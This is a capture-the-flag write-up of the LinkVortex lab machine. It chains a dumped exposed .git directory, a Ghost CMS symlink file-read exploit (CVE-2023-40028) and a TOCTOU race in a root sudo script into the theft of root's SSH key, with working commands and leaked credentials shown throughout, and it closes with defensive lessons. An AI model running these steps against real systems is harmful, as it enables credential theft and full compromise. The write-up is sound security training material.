LinkVortex
An exposed .git directory on a dev vhost is dumped to recover a Ghost CMS admin password from a committed change. Ghost 5.58.0 is vulnerable to CVE-2023-40028, an authenticated symlink arbitrary file read, used to read the Ghost config and recover bob's SSH password. bob may run a symlink-cleaning script as root that reads a file after a vulnerable check; a TOCTOU race swaps the symlink target to root's SSH key, leaking it for a root login.
TL;DR
LinkVortex is an Easy-difficulty Linux machine themed entirely around symbolic links. A dev virtual host exposes a .git directory, which we dump to recover the source and a password committed into a test file. Those credentials log us into a Ghost CMS running 5.58.0, which is vulnerable to CVE-2023-40028 — an authenticated arbitrary file read via uploaded symlinks. We use it to read Ghost’s config.production.json, which leaks the password for the bob user, reused for SSH. Finally, bob can run a symlink-sanitising script as root; the script validates a link’s target and then reads it, leaving a TOCTOU race we win by continuously flipping the symlink to point at root’s private SSH key, which it prints for us.
| Machine | OS | Difficulty | Target IP | Pwnbox IP |
|---|---|---|---|---|
| LinkVortex | Linux | Easy | 10.129.231.194 | 10.10.15.144 |
Enumeration
We start by finding the open ports with a fast scan, then run service and script detection against just those ports:
ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.194 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -sC -sV -p$ports 10.129.231.194The scan returns:
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-05 23:59 +0300Nmap scan report for 10.129.231.194Host is up (0.23s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)80/tcp open http Apache httpd|_http-server-header: Apache|_http-title: Did not follow redirect to http://linkvortex.htb/Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 14.96 secondsTwo services are exposed: OpenSSH on 22 and an Apache web server on 80 that redirects to linkvortex.htb. Because that hostname is not mapped, browsing to the IP fails:

We add the mapping to /etc/hosts:
echo "10.129.231.194 linkvortex.htb" | sudo tee -a /etc/hostsReloading, the site — a blog built on the Ghost CMS — loads:

Virtual host discovery
We fuzz for virtual hosts, filtering out the default response size (230 bytes) that the server returns for non-existent vhosts:
ffuf -w ./subdomains-10000.txt -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -fs 230A single subdomain stands out:
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 207ms]:: Progress: [9985/9985] :: Job [1/1] :: 195 req/sec :: Duration: [0:00:57] :: Errors: 0 ::We map dev.linkvortex.htb as well:
echo "10.129.231.194 dev.linkvortex.htb" | sudo tee -a /etc/hostsBrowsing to it shows only a “launching soon” placeholder:

Exposed .git directory
With no content to interact with, we brute-force for hidden files and directories:
gobuster dir -u http://dev.linkvortex.htb -w /usr/share/wordlists/dirb/common.txt.htaccess (Status: 403) [Size: 199].git/HEAD (Status: 200) [Size: 41].hta (Status: 403) [Size: 199].htpasswd (Status: 403) [Size: 199]cgi-bin/ (Status: 403) [Size: 199]index.html (Status: 200) [Size: 2538]server-status (Status: 403) [Size: 199]The hit on .git/HEAD is the key finding: the site’s .git directory is served publicly. A Git repository stores the project’s entire history, so if the whole .git folder is reachable, we can reconstruct the source and read every committed change. We pull it down with git-dumper:
git-dumper http://dev.linkvortex.htb dumpInside the dump, git status shows staged changes left in the index:
Not currently on any branch.Changes to be committed: new file: Dockerfile.ghost modified: ghost/core/test/regression/api/admin/authentication.test.jsWe unstage everything and inspect the diff to see what was changed relative to the committed version:
git restore --staged . && git diffdiff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js@@ -53,7 +53,7 @@ describe('Authentication API', function () { it('complete setup', async function () { const email = 'test@example.com';- const password = 'thisissupersafe';+ const password = 'OctopiFociPilfer45';A real-looking password, OctopiFociPilfer45, was substituted into a test — exactly the kind of secret that leaks through version control.
Foothold
Logging in to Ghost
We have a password but no visible login portal, so we check robots.txt on the main site:
User-agent: *Sitemap: http://linkvortex.htb/sitemap.xmlDisallow: /ghost/Disallow: /p/Disallow: /email/Disallow: /r/The /ghost/ path is Ghost’s admin panel. Browsing to it presents the login page:

The blog’s posts are authored by admin, so we try admin@linkvortex.htb with the recovered password OctopiFociPilfer45, and land on the dashboard:

Under Settings → About Ghost, the version is disclosed as 5.58.0:

CVE-2023-40028 — arbitrary file read via symlink upload
Ghost 5.58.0 is vulnerable to CVE-2023-40028, an authenticated arbitrary file read. Ghost lets authenticated users upload files (for example via content import), but it does not verify that an uploaded file is a regular file rather than a symbolic link. By uploading a symlink that points at an absolute path on disk and then requesting it back through the web server, we make Ghost read and return the contents of the link’s target — any file the Ghost process can access inside its container.
We use the public exploit at 0xyassine/CVE-2023-40028.
The same result can be achieved entirely through the UI using Ghost’s Labs → Import feature. The idea is identical: create a directory, place inside it a .png that is actually a symlink to the file you want, zip the directory, import the zip, then request the “image” back — the response contains the symlink target’s contents.
We make the exploit executable and set its GHOST_URL variable to http://linkvortex.htb:
chmod a+x CVE-2023-40028.shThen run it with the admin credentials:
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45It gives us an interactive prompt for files to read. Ghost stores its runtime settings — including mail credentials — in /var/lib/ghost/config.production.json, so we request that:
file> /var/lib/ghost/config.production.json{ "url": "http://localhost:2368", ... "mail": { "transport": "SMTP", "options": { "service": "Google", "host": "linkvortex.htb", "port": 587, "auth": { "user": "bob@linkvortex.htb", "pass": "fibber-talented-worth" } } }}The config leaks SMTP credentials for bob@linkvortex.htb with the password fibber-talented-worth.
Password reuse over SSH
Passwords are often reused, so we try the recovered mail password for SSH as bob:
ssh bob@linkvortex.htbThe password fibber-talented-worth works, and we read the user flag:
bob@linkvortex:~$ cat user.txt7b6*****************************Privilege Escalation
We check bob’s sudo rights:
sudo -lMatching Defaults entries for bob on linkvortex: env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex: (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.pngbob may run /opt/ghost/clean_symlink.sh as root against any *.png argument. Two details already stand out: the sudo policy keeps the CHECK_CONTENT environment variable (env_keep+=CHECK_CONTENT), meaning we control it, and the script works on symlinks. We read it:
cat /opt/ghost/clean_symlink.sh#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=falsefi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then /usr/bin/echo "! First argument must be a png file !" exit 2fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then LINK_NAME=$(/usr/bin/basename $LINK) LINK_TARGET=$(/usr/bin/readlink $LINK) if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK else /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" /usr/bin/mv $LINK $QUAR_DIR/ if $CHECK_CONTENT;then /usr/bin/echo "Content:" /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null fi fifiThe script, running as root, inspects the symlink we pass:
- If the link’s target contains the string
etcorroot, it is rejected and deleted. - Otherwise the link is moved to
/var/quarantined/, and — ifCHECK_CONTENTistrue— its contents are printed withcat.
Why the TOCTOU race works
The flaw is that the script checks one thing but acts on another, with a gap in between — a classic time-of-check to time-of-use (TOCTOU) bug:
- It reads the target once with
readlinkand runs thegrepcheck against that snapshot. - It then
mvs the symlink into/var/quarantined/— notemvmoves the link itself, not its target. - It finally
cats/var/quarantined/<name>, which re-resolves the symlink at that moment to decide what to read.
Because the target is resolved again at step 3, it does not have to be the same target that passed the check in step 1. If we can change where the quarantined link points after the grep but before the cat, the check sees a harmless path while cat reads a forbidden one. The grep only blocks the literal strings etc/root, so our link must simply start out pointing somewhere innocuous (e.g. /test) to pass, then be flipped to /root/.ssh/id_rsa.
We win the race by hammering the quarantine location with a loop that constantly re-points the link at root’s private key. In the first terminal:
while true; do ln -sf /root/.ssh/id_rsa /var/quarantined/test.png; doneIn a second terminal we enable content printing (preserved through sudo thanks to env_keep), create the benign link that passes the check, and run the script:
export CHECK_CONTENT=trueln -s /test test.pngsudo /usr/bin/bash /opt/ghost/clean_symlink.sh test.pngHere the sequence races as intended: test.png points to /test, which passes the grep; the script moves it to /var/quarantined/test.png; the loop immediately overwrites that path to point at /root/.ssh/id_rsa; and the final cat — running as root — follows the new target and prints the key:
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh test.pngLink found [ test.png ] , moving it to quarantineContent:-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn...ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==-----END OPENSSH PRIVATE KEY-----The race may not land on the first attempt — if
catprints nothing, simply re-run the second terminal’sln/sudopair while the loop keeps running until the key appears.
Root via the recovered key
We save the key as id_rsa on the Pwnbox, lock down its permissions, and log in as root:
chmod 600 id_rsassh -i id_rsa root@linkvortex.htbWith a root shell, we read the root flag:
# cat /root/root.txt********************************Exposed .git on the dev vhost dumped for a committed Ghost admin password → Ghost 5.58.0 symlink arbitrary file read (CVE-2023-40028) to leak config.production.json and bob’s password reused for SSH → TOCTOU race in the sudo-allowed clean_symlink.sh to read root’s SSH key and log in as root.
Lessons Learned
- Never expose
.gitto the web. A publicly served.gitdirectory handed us the full source and a committed password. Block dotfiles/.gitat the web server, and deploy from a build artefact rather than a live working tree. - Keep secrets out of version control. A real password was committed into a test file, where it lived forever in history. Use placeholders and secret managers, and rotate any credential that has ever touched a repository.
- Treat uploaded files as untrusted — including their type. Ghost followed uploaded symlinks and read arbitrary files. Applications must reject or resolve symlinks on upload, canonicalise paths, and keep user content confined to its intended directory.
- Avoid check-then-use patterns on attacker-controlled paths.
clean_symlink.shvalidated a symlink’s target and then re-resolved it, leaving a TOCTOU window. Operate on a file descriptor opened once (e.g. withO_NOFOLLOW), resolve and act on the same object atomically, and don’t run such helpers as root with user-supplied paths.